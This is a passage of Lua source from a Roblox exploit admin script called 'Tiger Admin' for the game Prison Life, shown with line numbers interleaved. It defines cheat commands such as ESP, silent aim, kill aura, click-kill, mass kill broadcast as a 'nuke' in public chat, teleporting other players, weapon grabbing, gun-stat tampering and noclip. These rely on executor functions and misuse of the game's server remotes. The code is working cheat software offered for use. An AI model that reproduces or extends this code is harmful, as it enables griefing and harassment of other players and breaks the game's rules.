game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(Target.Name.." IS DEAD NUKE LAUNCHING!!!", "ALL")
2410
wait(1.5)
2411
--//This is what I call perfect work
2412
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 3", "ALL")
2413
wait(1.5)
2414
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 2", "ALL")
2415
wait(1.5)
2416
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 1", "ALL")
2417
wait(1)
2418
API:killall()
2419
API:Notif("Nuke from player has been removed.")
2420
end,nil,"[PLAYER]")
2421
API:CreateCmd("to", "Teleports to a player", function(args)
2422
local Player = API:FindPlayer(args[2])
2423
if Player then
2424
API:MoveTo(Player.Character:GetPrimaryPartCFrame())
2425
end
2426
end,true,"[PLAYER]")
2427
API:CreateCmd("cursor ", "Changes mouse icon", function(args)
2428
if args[2] and tonumber(args[2]) then
2429
game:GetService("UserInputService").MouseIcon = args[2]
2430
else
2431
API:Notif("Invalid ID or no Second arg")
2432
end
2433
end,nil,"[ID]")
2434
API:CreateCmd("goto", "Teleports to a player", function(args)
2435
local Player = API:FindPlayer(args[2])
2436
if Player then
2437
API:MoveTo(Player.Character:GetPrimaryPartCFrame())
2438
end
2439
end,nil,"[PLAYER]")
2440
API:CreateCmd("clickarrest", "click on someone to arrest them", function(args)
2441
local value = ChangeState(args[2],"ClickArrest")
2442
end,nil,"[on/off]")
2443
API:CreateCmd("esp", "shows where all players are", function(args)
2444
local value = ChangeState(args[2],"esp")
2445
if value then
2446
if workspace:FindFirstChild("HIGHLIGHTS_1000") then
2447
return
2448
end
2449
local Group = Instance.new("Model",workspace)
2450
Group.Name = "HIGHLIGHTS_1000"
2451
local esp =Instance.new("Highlight",Group)
2452
esp.FillColor = BrickColor.White().Color
2453
2454
Temp.ESP = esp
2455
local function EspToggle(v)
2456
if not Temp.EspConnection then
2457
return
2458
end
2459
task.spawn(function()
2460
pcall(function()
2461
if v.Character and v.Character:FindFirstChild("Head") then
2462
if v.Character.Parent == Group then
2463
return
2464
end
2465
v.Character.Archivable = true
2466
local v1 = Instance.new("BillboardGui",v.Character:FindFirstChild("Head"))
2467
local v2 = Instance.new("TextLabel",v1)
2468
table.insert(Temps.Esp, v1)
2469
table.insert(Temps.Esp, v2)
2470
v1.Adornee = v.Character.Head
2471
v1.Name = "123123123123"
2472
v1.Size = UDim2.new(0, 100, 0, 150)
2473
v1.StudsOffset = Vector3.new(0, 2, 0)
2474
v1.AlwaysOnTop = true
2475
v2.BackgroundTransparency = 1
2476
v2.TextColor3 = v.TeamColor.Color
2477
v2.TextStrokeTransparency = 0
2478
v2.TextYAlignment = Enum.TextYAlignment.Bottom
2479
v2.Position = UDim2.new(0, 0, 0, -50)
2480
v2.Size = UDim2.new(0, 120, 0, 120)
2481
v2.Font = Enum.Font.SourceSans
2482
v2.TextSize = 15
2483
v2.Text = v.Name
2484
v.Character.Parent = Group
2485
end
2486
end)
2487
end)
2488
end
2489
Temp.EspConnection=true
2490
repeat wait(.5)
2491
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
2492
if v and v~= game:GetService("Players").LocalPlayer then
2493
EspToggle(v)
2494
end
2495
end
2496
for i,v in pairs(Temp.Esps) do
2497
if v.Parent == nil then
2498
API:Destroy(v)
2499
end
2500
end
2501
until Temp.EspConnection == nil
2502
else
2503
if workspace:FindFirstChild("HIGHLIGHTS_1000") then
2504
API:Destroy(Temp.ESP)
2505
Temp.EspConnection = nil
2506
wait(.1)
2507
for i,v in pairs(workspace:FindFirstChild("HIGHLIGHTS_1000"):GetChildren()) do
2508
v.Parent = workspace
2509
end
2510
for i,v in pairs(Temp.Esps) do
2511
API:Destroy(v)
2512
end
2513
API:Destroy(workspace:FindFirstChild("HIGHLIGHTS_1000"))
2514
2515
end
2516
end
2517
end,nil,"[ON/OFF]")
2518
API:CreateCmd("silentaim", "Fire and dont miss", function(args)
2519
local value = ChangeState(args[2],"SilentAim")
2520
end,nil,"[on/off]")
2521
API:CreateCmd("clickkill", "click on someone to kill them", function(args)
2522
local value = ChangeState(args[2],"ClickKill")
2523
end,nil,"[on/off]")
2524
API:CreateCmd("autorespawn", "you die and respawn back", function(args)
2525
local value = ChangeState(args[2],"AutoRespawn")
2526
end,nil,"[on/off]")
2527
API:CreateCmd("antisit", "Prevents you from sitting", function(args)
2528
local value = ChangeState(args[2],"AntiSit")
2529
if not value then
2530
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, true)
2531
end
2532
end,nil,"[on/off]")
2533
API:CreateCmd("antitouch", "Kills anyone who touches you", function(args)
2534
local value = ChangeState(args[2],"AntiTouch")
2535
end,nil,"[on/off]")
2536
API:CreateCmd("arrestaura", "Kills anyone close to you", function(args)
2537
local value = ChangeState(args[2],"ArrestAura")
2538
end,nil,"[on/off]")
2539
API:CreateCmd("killaura", "Kills anyone close to you", function(args)
2540
local value = ChangeState(args[2],"killaura")
2541
if value then
2542
API:CreateKillPart()
2543
else
2544
if Temp.KillPart then
2545
pcall(function()
2546
Temp.KillPart:Destroy()
2547
end)
2548
Temp.KillPart = nil
2549
end
2550
end
2551
2552
end,nil,"[on/off]")
2553
API:CreateCmd("autoitems", "Gets guns after you die", function(args)
2554
local value = ChangeState(args[2],"AutoItems")
2555
end,nil,"[on/off]")
2556
API:CreateCmd("antiarrest", "!!TRYS!! to Prevents you from getting arrested", function(args)
2557
local value = ChangeState(args[2],"AntiArrest")
2558
end,nil,"[on/off]")
2559
API:CreateCmd("noinvite", "disables discord invite", function(args)
2560
if writefile and readfile then
2561
writefile("Tiger_Admin/Invite.json",game:GetService("HttpService"):JSONEncode({Invite_To_Server=false}))
2562
API:Notif("Discord invite has been disabled!")
2563
else
2564
API:Notif("executor not supported.")
2565
end
2566
end)
2567
API:CreateCmd("antipunch", "prevents anyone from punching you", function(args)
2568
local value = ChangeState(args[2],"antipunch")
2569
if States.antipunch then
2570
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
2571
if v and v~= plr and not table.find(API.Whitelisted,v) then
2572
task.spawn(function()
2573
AntiPunchC(v)
2574
end)
2575
v.CharacterAdded:Connect(function(c)
2576
repeat task.wait() until c and c:FindFirstChildOfClass("Humanoid")
2577
if States.AntiPunch then
2578
if States.antipunch then
2579
AntiPunchC(v)
2580
end
2581
end
2582
end)
2583
end
2584
end
2585
end
2586
end,nil,"[on/off]")
2587
API:CreateCmd("antishield", "Deletes other peoples shields", function(args)
2588
local value = ChangeState(args[2],"Antishield")
2589
end,nil,"[on/off]")
2590
API:CreateCmd("spawnguns", "Loop kills you to spawn guns", function(args)
2591
local value = ChangeState(args[2],"spawnguns")
2592
end,nil,"[on/off]")
2593
API:CreateCmd("shootback", "Kills anyone who shoots you ", function(args)
2594
local value = ChangeState(args[2],"ShootBack")
2595
end,nil,"[on/off]")
2596
API:CreateCmd("onepunch", "Insta-kills anyone you punch", function(args)
2597
local value = ChangeState(args[2],"OnePunch")
2598
end,nil,"[on/off]")
2599
API:CreateCmd("antitase", "Prevents you from getting tased", function(args)
2600
local value = ChangeState(args[2],"AntiTase")
2601
2602
if value then
2603
for i,v in pairs(getconnections(workspace:WaitForChild("Remote").tazePlayer.OnClientEvent)) do
2604
v:Disable()
2605
end
2606
API:Notif("AntiTase has been changed to "..tostring(States.AntiTase))
2607
elseif not value then
2608
for i,v in pairs(getconnections(workspace:WaitForChild("Remote").tazePlayer.OnClientEvent)) do
2609
v:Enable()
2610
end
2611
API:Notif("AntiTase has been changed to "..tostring(States.AntiTase))
2612
end
2613
end,nil,"[on/off]")
2614
API:CreateCmd("neutral", "Changes your team to Neutral", function(args)
2615
API:ChangeTeam(game.Teams.Neutral,true)
2616
end)
2617
API:CreateCmd("inmate", "Changes your team to inmate", function(args)
2618
API:ChangeTeam(game.Teams.Inmates,true)
2619
end)
2620
API:CreateCmd("guard", "Changes your team to guard", function(args)
2621
API:ChangeTeam(game.Teams.Guards,true)
2622
end)
2623
API:CreateCmd("criminal", "Changes your team to criminal or a person", function(args)
2624
if args[2] == "random" then
2625
local random = nil
2626
while true do
2627
random = game:GetService("Players"):GetPlayers()[math.random(1, #game:GetService("Players"):GetPlayers())]
2628
task.wait()
2629
if random.Team ~= game.Teams.Criminals and random ~= game:GetService("Players").LocalPlayer then
2630
break
2631
end
2632
end
2633
local Target = random
2634
if Target.Team == game:GetService("Teams").Inmates then
2635
API:bring(Target,CFrame.new()*CFrame.new(0,2,0))
2636
elseif Target.Team == game:GetService("Teams").Guards then
2637
API:bring(Target,CFrame.new(-920.510803, 92.2271957, 2138.27002, 0, 0, -1, 0, 1, 0, 1, 0, 0)*CFrame.new(-4.5,2,-3),true)
2638
end
2639
else
2640
if args[2] then
2641
local Target = API:FindPlayer(args[2])
2642
if Target == Player then
2643
API:ChangeTeam(game.Teams.Criminals,true)
2644
return
2645
end
2646
if Target then
2647
if Target.Team == game:GetService("Teams").Inmates then
2648
API:bring(Target,CFrame.new()*CFrame.new(0,2,0))
2649
elseif Target.Team == game:GetService("Teams").Guards then
2650
API:bring(Target,CFrame.new(-920.510803, 92.2271957, 2138.27002, 0, 0, -1, 0, 1, 0, 1, 0, 0)*CFrame.new(-4.5,2,-3),true)
2651
end
2652
end
2653
else
2654
API:ChangeTeam(game.Teams.Criminals,true)
2655
end
2656
end
2657
end,nil,"[ME,PLAYER]")
2658
API:CreateCmd("unview", "Unwatches the selected target", function(args)
2659
Temp.ViewingPlayer = nil
2660
wait()
2661
game:GetService("Workspace").Camera.CameraSubject = plr.Character.Humanoid
2662
end)
2663
API:CreateCmd("car", "Brings a car to you", function(args)
2664
pcall(function()
2665
local OldPos = game:GetService("Players").LocalPlayer.Character:GetPrimaryPartCFrame()
2666
game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(-910, 95, 2157))
2667
wait()
2668
local car = nil
2669
task.spawn(function()
2670
car = game:GetService("Workspace").CarContainer.ChildAdded:Wait()
2671
end)
2672
repeat wait(.1)
2673
local ohInstance1 = game:GetService("Workspace").Prison_ITEMS.buttons:GetChildren()[8]["Car Spawner"]
2674
workspace.Remote.ItemHandler:InvokeServer(ohInstance1)
2675
until car
2676
repeat task.wait() until car:FindFirstChild("RWD") and car:FindFirstChild("Body") and car:FindFirstChild("Body"):FindFirstChild("VehicleSeat")
2677
car.PrimaryPart = car.RWD
2678
game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(OldPos)
2679
wait(1)
2680
local Done = false
2681
car.Body.VehicleSeat:Sit(game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
2682
repeat
2683
2684
game:GetService("RunService").RenderStepped:Wait()
2685
car:SetPrimaryPartCFrame(OldPos)
2686
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =CFrame.new(car.Body.VehicleSeat.Position)
2687
car.Body.VehicleSeat:Sit(game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
2688
if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit == true then
2689
Done = true
2690
end
2691
until Done
2692
end)
2693
end)
2694
API:CreateCmd("opengate", "Opens the main prison gate", function(args)
2695
local OldPos = game:GetService("Players").LocalPlayer.Character:GetPrimaryPartCFrame()
2696
API:MoveTo(CFrame.new(503.998993, 102.039917, 2242.79907, 0.99996537, -1.0554821e-08, -0.00832392555, 1.00791926e-08, 1, -5.71817864e-08, 0.00832392555, 5.70959067e-08, 0.99996537))
2697
wait(.1)
2698
workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.buttons["Prison Gate"]["Prison Gate"])
2699
API:MoveTo(OldPos)
2700
end)
2701
API:CreateCmd("fly", "Enter plane mode but dont hit towers", function(args)
2702
API:Unfly()
2703
wait(.4)
2704
API:Fly(tonumber(args[2]) or 7)
2705
end)
2706
API:CreateCmd("carfly", "Car go flying", function(args)
2707
API:Unfly()
2708
wait()
2709
API:Fly(10)
2710
end)
2711
API:CreateCmd("uncarfly", "stop the car fly", function(args)
2712
API:Unfly()
2713
end)
2714
API:CreateCmd("unfly", "Disables fly", function(args)
2715
API:Unfly()
2716
end)
2717
2718
API:CreateCmd("keycard", "Gets a keycard", function(args)
2719
local Oldc = API:GetPosition()
2720
local OldT = Player.Team
2721
if plr.Character:FindFirstChild("Key card") or plr.Backpack:FindFirstChild("Key card") then
2722
return API:Notif("You already have a keycard!",false)
2723
end
2724
if #game.Teams.Guards:GetPlayers() == 8 and plr.Team ~= game.Teams.Guards then
2725
API:Notif("Guards team is full!")
2726
return
2727
end
2728
API:ChangeTeam(game.Teams.Guards)
2729
repeat wait(.5)
2730
Player.Character:FindFirstChildOfClass("Humanoid"):ChangeState(15)
2731
wait()
2732
API:Refresh()
2733
until game:GetService("Workspace")["Prison_ITEMS"].single:FindFirstChild("Key card")
2734
if game:GetService("Workspace")["Prison_ITEMS"].single:FindFirstChild("Key card") then
2735
if Player.Team ~= OldT then
2736
API:ChangeTeam(OldT)
2737
repeat task.wait() until Player.Team == OldT
2738
end
2739
wait()
2740
repeat wait()
2741
local a =pcall(function()
2742
local Key = workspace.Prison_ITEMS.single["Key card"].ITEMPICKUP
2743
game.Workspace.Remote["ItemHandler"]:InvokeServer(Key)
2744
API:MoveTo(CFrame.new(workspace.Prison_ITEMS.single["Key card"].ITEMPICKUP.Position+Vector3.new(0,3,0)))
2745
end)
2746
until plr.Backpack:FindFirstChild("Key card")
2747
end
2748
API:MoveTo(Oldc)
2749
end)
2750
2751
API:CreateCmd("refresh", "refreshes your character", function(args)
2752
API:Refresh(true)
2753
end)
2754
API:CreateCmd("roof", "", function(args)
2755
if args[2] then
2756
local Target = API:FindPlayer(args[2])
2757
if Target then
2758
API:bring(Target, CFrame.new(820.6336059570312, 120.48998260498047, 2352.623046875))
2759
end
2760
else
2761
API:MoveTo(CFrame.new(820.6336059570312, 120.48998260498047, 2352.623046875))
2762
end
2763
end, true)
2764
API:CreateCmd("nex", "", function(args)
2765
if args[2] then
2766
local Target = API:FindPlayer(args[2])
2767
if Target then
2768
API:bring(Target, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
2769
end
2770
else
2771
API:MoveTo(CFrame.new(918.77, 100, 2379.07))
2772
end
2773
end, true)
2774
API:CreateCmd("prison", "Teleports to location", function(args)
2775
if args[2] then
2776
local Target = API:FindPlayer(args[2])
2777
if Target then
2778
API:bring(Target, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
2779
end
2780
else
2781
API:MoveTo(CFrame.new(918.77, 100, 2379.07))
2782
end
2783
end)
2784
API:CreateCmd("m4a1", "Gets a M4A1 gun", function(args)
2785
API:GetGun("M4A1")
2786
end)
2787
API:CreateCmd("m9", "Gets a M9 gun", function(args)
2788
API:GetGun("M9")
2789
end)
2790
API:CreateCmd("shotgun", "Gets a shotgun", function(args)
2791
API:GetGun("Remington 870")
2792
end)
2793
API:CreateCmd("ak", "Gets a ak-47", function(args)
2794
API:GetGun("AK-47")
2795
end)
2796
API:CreateCmd("knife", "Gets a knife", function(args)
2797
workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
2798
end)
2799
API:CreateCmd("hammer", "Gets a hammer", function(args)
2800
workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Hammer"]})
2801
end)
2802
API:CreateCmd("yard", "Teleports to location", function(args)
2803
if args[2] then
2804
local Target = API:FindPlayer(args[2])
2805
if Target then
2806
API:bring(Target, CFrame.new(791, 98, 2498))
2807
end
2808
else
2809
2810
API:MoveTo(CFrame.new(791, 98, 2498))
2811
end
2812
end)
2813
API:CreateCmd("gas", "Teleports to location", function(args)
2814
if args[2] then
2815
local Target = API:FindPlayer(args[2])
2816
if Target then
2817
API:bring(Target, CFrame.new(-518, 54, 1655))
2818
end
2819
else
2820
API:MoveTo(CFrame.new(-518, 54, 1655))
2821
end
2822
end)
2823
API:CreateCmd("cafe", "Teleports to location", function(args)
2824
if args[2] then
2825
local Target = API:FindPlayer(args[2])
2826
if Target then
2827
API:bring(Target, CFrame.new(877, 100, 2256))
2828
end
2829
else
2830
API:MoveTo(CFrame.new(877, 100, 2256))
2831
end
2832
end)
2833
API:CreateCmd("bridge", "Teleports to location", function(args)
2834
if args[2] then
2835
local Target = API:FindPlayer(args[2])
2836
if Target then
2837
API:bring(Target, CFrame.new(54, 33, 1311))
2838
end
2839
else
2840
API:MoveTo(CFrame.new(54, 33, 1311))
2841
end
2842
end)
2843
API:CreateCmd("lunchroom", "Teleports to location", function(args)
2844
if args[2] then
2845
local Target = API:FindPlayer(args[2])
2846
if Target then
2847
API:bring(Target, CFrame.new(905, 100, 2226))
2848
end
2849
else
2850
API:MoveTo(CFrame.new(905, 100, 2226))
2851
end
2852
end)
2853
2854
API:CreateCmd("crimbase", "Teleports to location", function(args)
2855
if args[2] then
2856
local Target = API:FindPlayer(args[2])
2857
if Target then
2858
API:bring(Target, CFrame.new(-858.08990478516, 94.476051330566, 2093.8288574219))
2859
end
2860
else
2861
API:MoveTo(CFrame.new(-858.08990478516, 94.476051330566, 2093.8288574219))
2862
end
2863
end)
2864
API:CreateCmd("cbase", "Teleports to location", function(args)
2865
if args[2] then
2866
local Target = API:FindPlayer(args[2])
2867
if Target then
2868
API:bring(Target, CFrame.new(-858.08990478516, 94.476051330566, 2093.8288574219))
2869
end
2870
else
2871
API:MoveTo(CFrame.new(-858.08990478516, 94.476051330566, 2093.8288574219))
2872
end
2873
end,true)
2874
API:CreateCmd("armory", "Teleports to location", function(args)
2875
if args[2] then
2876
local Target = API:FindPlayer(args[2])
2877
if Target then
2878
API:bring(Target, CFrame.new(789, 100, 2260))
2879
end
2880
else
2881
API:MoveTo(CFrame.new(789, 100, 2260))
2882
end
2883
end)
2884
API:CreateCmd("tower", "Teleports to location", function(args)
2885
if args[2] then
2886
local Target = API:FindPlayer(args[2])
2887
if Target then
2888
API:bring(Target, CFrame.new(822, 131, 2588))
2889
end
2890
else
2891
API:MoveTo(CFrame.new(822, 131, 2588))
2892
end
2893
end)
2894
Temp.CmdsC = false
2895
Commands.Visible = false
2896
API:CreateCmd("cmds", "Toggles commands gui", function(args)
2897
if not Temp.CmdsC then
2898
Temp.CmdsC = true
2899
if Commands.Visible == false then
2900
Commands.Position = Commands.Position + UDim2.new(0, 0, 1, 0)
2901
wait(.1)
2902
Commands:TweenPosition(SavedCmdsPosition, "Out", "Sine", 1)
2903
Commands.Visible = true
2904
else
2905
Commands:TweenPosition(SavedCmdsPosition + UDim2.new(0, 0, 1, 0), "Out", "Quart", 1)
2906
wait(.5)
2907
Commands.Visible = false
2908
end
2909
wait(.7)
2910
Temp.CmdsC = false
2911
end
2912
end)
2913
API:CreateCmd("rejoin", "rejoins the same server (UNLOADS SCRIPT)", function(args)
2914
wait(.3)
2915
if #game:GetService("Players"):GetPlayers() ==1 then
2916
game:GetService("Players").LocalPlayer:Kick("Please wait.")
2917
game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer)
2918
else
2919
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, game:GetService("Players").LocalPlayer)
2920
end
2921
end)
2922
API:CreateCmd("rj", "rejoins the same server (UNLOADS SCRIPT)", function(args)
2923
wait(.3)
2924
if #game:GetService("Players"):GetPlayers() ==1 then
2925
game:GetService("Players").LocalPlayer:Kick("Please wait.")
2926
game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer)
2927
else
2928
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, game:GetService("Players").LocalPlayer)
2929
end
2930
end,true)
2931
API:CreateCmd("re", "refreshes your character", function(args)
2932
API:Refresh(true)
2933
end, true)
2934
API:CreateCmd("allcmds", "tells you the ammount of commands tiger admin has", function(args)
2935
API:Notif("Tiger admin has "..tostring(AmmountCurrent).." commands.")
2936
end)
2937
2938
API:CreateCmd("serverhop", "Joins a different server", function(args)
2939
local Ids = {}
2940
for _, v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100")).data) do
2941
if typeof(v) == "table" and v['maxPlayers'] > v['playing'] and v['id'] ~= game['JobId'] then
2942
table.insert(Ids,v.id)
2943
end
2944
end
2945
return game:GetService("TeleportService"):TeleportToPlaceInstance(game['PlaceId'], Ids[math.random(1, #Ids)])
2946
end)
2947
2948
API:CreateCmd("btools", "Destroy walls", function(args)
2949
Instance.new("HopperBin",plr.Backpack).BinType = 3
2950
Instance.new("HopperBin",plr.Backpack).BinType = 4
2951
end)
2952
2953
API:CreateCmd("guns", "Gets every single gun", function(args)
2954
API:AllGuns()
2955
end)
2956
2957
API:CreateCmd("items", "Gets every single gun", function(args)
2958
API:AllGuns()
2959
end)
2960
API:CreateCmd("noclip", "Go through walls", function(args)
2961
if States.noclip == nil then
2962
States.noclip = false
2963
end
2964
States.noclip = not States.noclip
2965
if States.noclip then
2966
pcall(function()
2967
Temp.Noclipping:Disconnect()
2968
Temp.Noclipping = nil
2969
end)
2970
wait()
2971
Temp.Noclipping = game:GetService("RunService").Stepped:Connect(function()
2972
for i,v in pairs(plr.Character:GetDescendants()) do
2973
if v and v:IsA("Part") or v:IsA("MeshPart") and v.CanCollide and Unloaded == false then
2974
v.CanCollide = false
2975
end
2976
end
2977
end)
2978
API:Notif("Noclip enabled")
2979
else
2980
pcall(function()
2981
Temp.Noclipping:Disconnect()
2982
Temp.Noclipping = nil
2983
end)
2984
wait()
2985
API:Refresh(true)
2986
end
2987
end)
2988
API:CreateCmd("clip", "Disables noclip", function(args)
2989
States.noclip = false
2990
pcall(function()
2991
Temp.Noclipping:Disconnect()
2992
Temp.Noclipping = nil
2993
end)
2994
API:Refresh(true)
2995
API:Notif("Noclip disabled")
2996
end)
2997
API:CreateCmd("autofire", "Mods the gun", function(args)
2998
if plr.Character:FindFirstChildOfClass("Tool") then
2999
local Tool = plr.Character:FindFirstChildOfClass("Tool")
3000
if not Tool:FindFirstChild("GunStates") then
3001
return API:Notif("Needs to be a gun!",false)
3002
end
3003
local cc = require(Tool.GunStates)
3004
cc["AutoFire"] = true
3005
table.insert(Reload_Guns, Tool)
3006
Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
3007
else
3008
API:Notif("You need to hold the tool you want to mod!",false)
3009
end
3010
end)
3011
API:CreateCmd("fastfire", "hold a tool to mod your gun", function(args)
3012
if plr.Character:FindFirstChildOfClass("Tool") then
3013
local Tool = plr.Character:FindFirstChildOfClass("Tool")
3014
if not Tool:FindFirstChild("GunStates") then
3015
return API:Notif("Needs to be a gun!",false)
3016
end
3017
local cc = require(Tool.GunStates)
3018
cc["FireRate"] = 0.001
3019
table.insert(Reload_Guns, Tool)
3020
Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
3021
else
3022
API:Notif("You need to hold the tool you want to mod!",false)
3023
end
3024
end)
3025
API:CreateCmd("infammo", "hold a tool to mod your gun", function(args)
3026
if plr.Character:FindFirstChildOfClass("Tool") then
3027
local Tool = plr.Character:FindFirstChildOfClass("Tool")
3028
if not Tool:FindFirstChild("GunStates") then
3029
return API:Notif("Needs to be a gun!")
3030
end
3031
local cc = require(Tool.GunStates)
3032
cc["MaxAmmo"] = math.huge
3033
cc["StoredAmmo"] = math.huge
3034
cc["AmmoPerClip"] = math.huge
3035
cc["CurrentAmmo"] = math.huge
3036
table.insert(Reload_Guns, Tool)
3037
Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
3038
else
3039
API:Notif("You need to hold the tool you want to mod!",false)
3040
end
3041
end)
3042
API:CreateCmd("modgun", "adds superpowers to your gun", function(args)
3043
if plr.Character:FindFirstChildOfClass("Tool") then
3044
local Tool = plr.Character:FindFirstChildOfClass("Tool")
3045
if not Tool:FindFirstChild("GunStates") then
3046
return API:Notif("Needs to be a gun!",false)
3047
end
3048
local cc = require(Tool.GunStates)
3049
cc["Damage"] = 9e9
3050
cc["FireRate"] = 0.001
3051
cc["Range"] = math.huge
3052
cc["MaxAmmo"] = math.huge
3053
cc["StoredAmmo"] = math.huge
3054
cc["AmmoPerClip"] = math.huge
3055
cc["CurrentAmmo"] = math.huge
3056
if Tool.Name ~= "Remington 870" then
3057
cc["Bullets"] = 1
3058
cc["AutoFire"] = true
3059
end
3060
table.insert(Reload_Guns, Tool)
3061
Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
3062
else
3063
API:Notif("You need to hold the tool you want to mod!",false)
3064
end
3065
end)
3066
3067
API:CreateCmd("autoinfammo", "Always apply inf ammo on all your guns", function(args)
3068
if args[2] == "on" then
3069
States.AutoInfAmmo = true
3070
API:Notif("AutoInfAmmo has been changed to "..tostring(States.AutoInfAmmo))
3071
elseif args[2] =="off" then
3072
States.AutoInfAmmo = false
3073
API:Notif("AutoInfAmmo has been changed to "..tostring(States.AutoInfAmmo))
3074
else
3075
States.AutoInfAmmo = not States.AutoInfAmmo
3076
API:Notif("AutoInfAmmo has been changed to "..tostring(States.AutoInfAmmo))
3077
end
3078
end)
3079
API:CreateCmd("unload", "Destroys the script unloading it", function(args)
3080
API:Destroy(game:FindFirstChild("Tiger_revamp_loaded"))
3081
Unloaded = true
3082
3083
for i,v in pairs(States) do
3084
States[i] = false
3085
end
3086
Temp = {}
3087
game:GetService("Workspace").Camera.CameraSubject = plr.Character.Humanoid
3088
CmdBarFrame:TweenPosition(CmdBarFrame.Position-UDim2.new(0,0,-.5,0),"Out","Back",.8)
3089
wait(1)
3090
ScreenGui:Destroy()
3091
end)
3092
end
3093
--
3094
local cdv = false
3095
coroutine.wrap(function()
3096
while wait() do --// fast loop
3097
if Unloaded then
3098
return
3099
end
3100
for i,v in pairs(Temp.Viruses) do
3101
for _,a in pairs(game:GetService("Players"):GetPlayers()) do
3102
if a and a ~= v and a ~= Player then
3103
if a and a.Character and a.Character:FindFirstChild("HumanoidRootPart") and(a.Character.HumanoidRootPart.Position - v.Character.HumanoidRootPart.Position).magnitude <4.5 and a.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,a) then
3104
if not cdv then
3105
cdv = true
3106
API:KillPlayer(a)
3107
wait(.7)
3108
cdv = false
3109
end
3110
end
3111
end
3112
end
3113
end
3114
game:GetService('StarterGui'):SetCoreGuiEnabled('Backpack', true)
3115
pcall(function()
3116
if States.AntiArrest == true and Unloaded == false then
3117
for i,v in pairs(game.Players:GetPlayers()) do
3118
if v ~= Player then
3119
if (v.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude <30 and v.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,v) then
3120
if v.Character:FindFirstChildOfClass("Tool") and v.Character:FindFirstChild("Handcuffs") and not v.Character:FindFirstChild("Handcuffs"):FindFirstChild("ISWHITELISTED") then
3121
local args = {
3122
[1] = v
3123
}
3124
for i =1,3 do
3125
task.spawn(function()
3126
game:GetService("ReplicatedStorage").meleeEvent:FireServer(unpack(args))
3127
end)
3128
end
3129
end
3130
end
3131
end
3132
end
3133
end
3134
end)
3135
pcall(function()
3136
if States.AntiTouch == true and Unloaded == false then
3137
for i,v in pairs(game.Players:GetPlayers()) do
3138
if v ~= Player then
3139
if (v.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude <2.3 and v.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,v) then
3140
local args = {
3141
[1] = v
3142
}
3143
for i =1,8 do
3144
task.spawn(function()
3145
game:GetService("ReplicatedStorage").meleeEvent:FireServer(unpack(args))
3146
end)
3147
end
3148
end
3149
end
3150
end
3151
end
3152
end)
3153
3154
pcall(function()
3155
if States.ArrestAura == true and Unloaded == false then
3156
for i,v in pairs(game.Players:GetPlayers()) do
3157
if v ~= Player and v.Team ~= game.Teams.Guards then
3158
if (v.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude <30 and v.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,v) then
3159
local args = {
3160
[1] = v.Character:FindFirstChild("Head") or v.Character:FindFirstChildOfClass("Part")
3161
}
3162
if v.Team == game.Teams.Criminals or (v.Team == game.Teams.Inmates and API:BadArea(v)) then
3163
workspace.Remote.arrest:InvokeServer(unpack(args))
3164
end
3165
end
3166
end
3167
end
3168
end
3169
end)
3170
pcall(function()
3171
if States.killaura == true and Unloaded == false then
3172
for i,v in pairs(game.Players:GetPlayers()) do
3173
if v ~= Player and not table.find(API.Whitelisted,v) then
3174
if (v.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude <30 and v.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,v) then
3175
local args = {
3176
[1] = v
3177
}
3178
for i =1,3 do
3179
task.spawn(function()
3180
game:GetService("ReplicatedStorage").meleeEvent:FireServer(unpack(args))
3181
end)
3182
end
3183
end
3184
end
3185
end
3186
end
3187
end)
3188
end
3189
end)()
3190
3191
local layout = {}
3192
for i,v in pairs(CommandsList:GetChildren()) do
3193
